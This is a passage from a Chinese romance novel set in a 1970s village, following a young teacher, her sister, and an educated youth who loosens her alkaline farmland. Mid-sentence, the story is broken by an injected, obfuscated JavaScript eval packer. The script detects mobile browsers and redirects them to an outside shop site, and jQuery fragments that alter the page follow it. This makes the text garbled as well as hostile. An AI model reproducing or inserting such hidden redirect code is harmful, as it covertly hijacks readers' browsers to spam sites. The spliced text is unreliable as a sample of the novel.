陈绍君醒的时候，天还没亮，窗户透进来的光也是薄薄的，连床角的轮廓都照不真切。她平躺了一会儿，才觉出枕头还是湿的。
她伸手摸了摸自己的眼睛——眼皮肿了。她翻了个身，把脸埋进枕头里，默默地等心里的酸意退下去。
天光大亮的时候她才起床。他先打了盆凉水在院子洗脸，晨风从北边灌过来，冻得她指尖发麻，她搓了搓手，转身进了灶房。
灶膛里的火是昨晚封好的。拨开灰烬，底下还有几粒暗红色的炭。她添了几根细柴，吹了两口气，火苗蹿上来，橘红色的光把她的脸映得暖了一瞬。她从一旁的菜篮子里拿了几个辣椒，又从柜子里摸出昨天买的五花肉。她把肉切成薄片，辣椒切成细丝。铁锅烧热，猪油滑下进去化开，滋啦一声，肉香裹着和辣味一起蹿起来……
面条下锅的时候，陈昭宁醒了。她披着棉袄从里屋探出头来，鼻尖动了动，还没看清灶台上的情形，就先开口说了一句：“姐，好香啊！”
陈绍君把面条捞进碗里，浇上炒好的辣椒炒肉，香辣味立马就热气腾腾地裹在面条了。姐妹俩在灶台边的桌子坐下，陈昭宁低头扒了一口，腮帮子鼓起来，含糊地感慨：“好多肉。”
“多吃点！肉多才香嘞！”陈绍君也低头吃了一口。
陈昭宁咽下去，筷子在碗里戳了两下，声音低了几分：“香是香……可是去学校就吃不到了。”
陈绍君夹面条的动作没停：“放心吧，一辈子都能吃到。”
陈昭宁抬起头来看她，目光落在她脸上——她的眼睛还红的，眼皮微微肿着，眼尾有一圈淡淡的粉。
“姐，你眼睛怎么这么红？”她担心的问。
陈绍君低头继续吃面条：“昨天改作业改得太晚，没休息好。”
陈昭宁点了点头，继续说：“那得买眼药水，我同学说县城药店有那种滴眼睛的，可好使了。”
陈绍君含糊地应了一声，把碗往嘴边又凑了凑。窗外的晨光正在一点一点地亮起来，灶膛里的余火把她们俩的影子投在身后的土墙上，安安静静地叠在一起。等面条吃到见底的时候，她搁下筷子，擦了擦嘴，像是已经把那个天没亮时的潮湿的自己给塞进了心里。
……
从这天起，陈绍君再没主动跟许行简打过招呼。上下班路上遇见，她不躲不迎，目光从他身上平稳地滑过，就继续走她的路。
许行简开始还以为她还在因为“倒插门”那件事生气。可几天过去了，她依旧对他不理不睬……
一同下乡的好友张翎峰，见她闷闷不乐，叼着烟嗤笑他：“愁什么，你晾她几天不就完了？这村里哪个男人愿意倒插门？她想清楚了自己会回来找你。女人嘛，你越是上赶着，她越来劲。冷一冷就好了。”
许行简听了他的话，慢慢皱起了眉。他也觉得张翎峰说的“晾一晾”好像不对，但他一时又想不出对的办法来。
……
过了几日，天气冷了一截。风从北边灌下来，把院墙上那几丛枯草吹得伏在地上。陈绍君早晨推门出去，哈气凝成一团白雾，在眼前散开又聚拢，久久不散。
她一到学校，王嘉礼就凑到她跟前跟她说：“你知道吗？村里今天贴告示了，农机站的人分片松土，你那块坡地——你猜分给谁了？”
陈绍君摇了摇头。
王嘉礼已经憋不住笑了：“许行简！”
陈绍君脸上的表情没什么变化，但嘴角的弧度出卖了她。
“哦，那挺巧的。”
魏致明从门口进来，听见了她们说的话。他把教案放在桌上，接着问：“陈绍君，你跟农机站那个许知青……是什么关系？怎么听人说你们要结婚？”
王嘉礼立刻竖起了耳朵，震惊地看着陈绍君。
“你听吴俊说的吧？他那天在县城碰见我，是许行简帮忙……”陈绍君把那天的经过简单说了——许行简路过帮她解围，末了补了一句：“现在就是普通朋友，但往后的事，谁知道呢。”
魏致明“哦”了一声，尾音微微上扬。他往椅背上一靠，接着说：“对了，最近县里电影院上了一部叫《海霞》的电影，讲渔家女的，听说拍得不错。周末你要是有空，可以带陈昭宁去看看，小姑娘应该喜欢。”
陈绍君想了想，觉得这个主意不错。天气冷了，周末带陈昭宁去看场电影，暖和和的，多舒服啊！
“那行，我周末带她去。”
“我有票，”魏致明接得很快，“我一个表哥在电影院工作，手里有招待票，周末我给你拿两张。”
陈绍君没有推辞，点了点头：“那谢谢你了。回头我请你吃糖。”
“谢啥，都是同事！”魏致明笑着摆了摆手。
……
当天下午，许行简就背着一袋化肥找上了门。他没穿那件蓝布外套，换了一件洗得发白的灰褂子，袖口挽到小臂上，肩上扛着化肥袋子，鼓鼓囊囊的，压得他一边肩膀微微往下沉。
“你们家地在哪？村里叫我来松土。”
陈绍君看了他一眼，没多话：“你跟我来吧。”
两个人安安静静地走了几分钟就到了坡地边上。
碱化的地表泛着一层发白的硬壳，像被日光晒干了的河床，裂缝细细密密地蔓延开，踩上去有一种脆生生的、像踩在薄冰上的触感。她在地边停下来，侧身让了让，示意他看那块地。
“就这儿。”她说
许行简走近几步，把手里的化肥袋子搁在地头，蹲下身，抓了一把土在指间捻了捻。土粒在他的指腹间散开，他把手伸开，又让那些土粒从指缝间慢慢漏下去。
“你准备怎么弄？”陈绍君问。
“先翻一遍，把板结层打碎，再把化肥拌进去，”他弯腰把锄头探进土里，踩下去一锄，翻起一块板结的土块，敲碎，又翻了一锄，“过几天要是下雪，雪水渗下去能帮着化碱。”
过了会，他又接着说：“……这块地碱化得厉害，光靠化
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677656|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
肥不行，得翻土，掺河沙，种一季苜蓿养地……得等到明年开春才能正经下种。”
“你看着办就好。”陈绍君的语气平淡。
许行简的目光落在她垂在脸侧的碎发上，又收回来。
陈绍君站在田埂边上，两只手插在棉袄口袋里，目光落在那片发白的土地上，没有看他。
“其实——你不一定要招婿。”他开口，声音里带着斟酌许久的迟疑。
陈绍君没回话。
他继续说：“你可以选个有担当的男人。一个男人如果真心待你，自然会考虑你的处境，你想做什么，他都会记在心上。我身边就有朋友是家里的独女，她也说要招婿，但阴差阳错早早结了婚，生两个孩子，各跟一个人姓。算是两边都继承了……他们两个人感情很好。”
他说到这里，抬眼看她：“很多事……不是非黑即白的。”
陈绍君没说话。
他攥着化肥袋子边角的手指紧了一下：“怎么不说话？”
“没什么好说的。”
“那你还有什么要问我的吗？”他又问她。
“没有。”
“为什么？”
“你想说的时候，就会说。”说完这句话，她转身沿着田埂往回走了。
许行简站在那片盐碱化了的坡地上，看着她的背影渐渐走远。
他蹲下来，把那袋化肥打开，抓了一把撒在地面上。白花花的粉末落在干裂的碱土上，在秋末清冷的日光里，像落了一层薄薄的霜。
他忽然想起那天在车站，她从自行车后座跳下来，还倒退着冲他摆手，笑得明晃晃的。
突然对他这么冷淡——就因为他不接受倒插门？
……
第二天一早，陈绍君踩着预备铃进了教室。
二十多张黑瘦的小脸齐刷刷地抬起来看她，他们的眼睛里带着这个年代的孩子们特有的干净纯粹。
陈绍君站在讲台上，目光从第一排扫到最后一排，看着这些小小的面孔，忽然就笑了。
“同学们，”她合上教案，“从今天起，我想要教你们写作文。第一篇的题目是——‘我长大了想做什么’。”
话音刚落，教室里安静了一瞬。孩子们互相看了看，像是还没反应过来——作文？什么是作文？——然后有一个小男孩举起了手。
“陈老师！”他的嗓门亮堂堂的，“我想当厨师！因为我妈说我做的饭好吃！”
全班哄堂大笑。
陈绍君也笑了：“好，那你就写你怎么当厨师。剩下的同学，自己想一想，想当什么就写什么。”
孩子们立刻低下头，有的咬着笔杆、歪着脑袋想，有的已经埋头唰唰地写了起来。笔尖在纸面上发出密密麻麻的声响，像是春雨落在干渴的土地上……
她看着他们认真而专注的侧脸，忽然觉得这个年代的光线是金色的，它暖融融地铺在所有的地方，把每一个伏在桌上的小小身影都包裹在里面……